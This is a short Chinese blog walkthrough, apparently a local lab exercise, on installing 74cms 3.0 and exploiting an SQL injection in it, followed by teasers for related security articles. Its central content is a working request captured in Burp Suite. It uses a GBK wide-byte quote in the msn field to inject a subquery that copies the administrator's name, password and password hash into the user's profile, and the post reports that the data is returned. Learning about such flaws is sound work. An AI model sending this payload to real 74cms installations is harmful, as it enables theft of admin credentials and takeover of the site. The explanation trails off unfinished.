74cms3.0安装以及cmsSQL注入漏洞详解

下载解压到www目录并开启低版本PHP服务

访问

http://127.0.0.1/74cms3.0/install/index.php

Error：Can‘t select MySQL database(74cms3.0)！问题解决

和我一样就无脑确定

按照提示配置，不知道填啥就写root，邮箱随便写一个@qq.com之类的

后台（可略过）

前台

burpsuite抓包修改

realname=%B5%C8%D6%B0%EDE&sex=%C4%D0&birthday=1999-01-01&addresses=%BA%D3%C4%CF%BA%D3%C4%CF%D6%A3%D6%DD&mobile=&phone=17640366942&qq=15017777&msn=ha%df',profile=(select concat(admin_name,pwd,pwd_hash)from qs_admin)#&Submit=%B1%A3%B4%E6

有返回

以下原因是由于PHP版本过低，

74cms3.0安装以及cmsSQL注入漏洞详解相关推荐

SQL 注入漏洞详解
[渗透测试实用手册]SQL注入漏洞漏洞名称 SQL注入漏洞漏洞地址漏洞等级高危漏洞描述 SQL 注入漏洞是指攻击者通过把恶意的 SQL 语句插入到网站的输入参数中,来绕过网站的安全措施,获取 ...
XXE实体注入漏洞详解
本文转自行云博客https://www.xy586.top/ 文章目录什么是XXE 原理 XXE漏洞带来的的危害什么是 XML 寻找XXE XXE的防御示例什么是XXE XML Externa ...
SQL注入漏洞详解
漏洞影响攻击者利用该漏洞可能导致 1.网页被篡改 2.数据被篡改 3. 核心数据被窃取 4. 数据库所在服务器被攻击变成傀儡主机解决方法: 1. 过滤用户输入的内容,检查用户输入的内容中 ...
墨者学院SQL手工注入靶场漏洞详解
墨者学院SQL手工注入靶场漏洞详解目录靶场地址步骤详解目录靶场地址该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...
Web网络安全漏洞分析，SQL注入原理详解
本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...
数据库学习笔记第一弹——MySQL8.0和MySQL5.7的下载、安装与配置（图文详解步骤2022）
数据库学习笔记第一弹--MySQL8.0和MySQL5.7的下载.安装与配置(图文详解步骤2022) 文章目录数据库学习笔记第一弹--MySQL8.0和MySQL5.7的下载.安装与配置(图文详解步 ...
android WebView详解，常见漏洞详解和安全源码（下）
上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑. 上篇:android WebView详解,常见漏洞详解和安全源码(上) 转载请注明出处:http ...
OWASP-TOP10漏洞详解以及防护方案
OWASP TOP 10 漏洞详解以及防护方案 OWASP介绍官网:http://www.owasp.org.cn/ OWASP TOP10 指出了 WEB 应用面临最大风险的 10 类问题,是目前 ...
89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录一.文件包含漏洞详解 1.文件包含漏洞相关概念 2.PHP文件包含漏洞相关概念 3.PHP文件包含漏洞利用:`构 ...

74cms3.0安装以及cmsSQL注入漏洞详解

74cms3.0安装以及cmsSQL注入漏洞详解相关推荐

最新文章

热门文章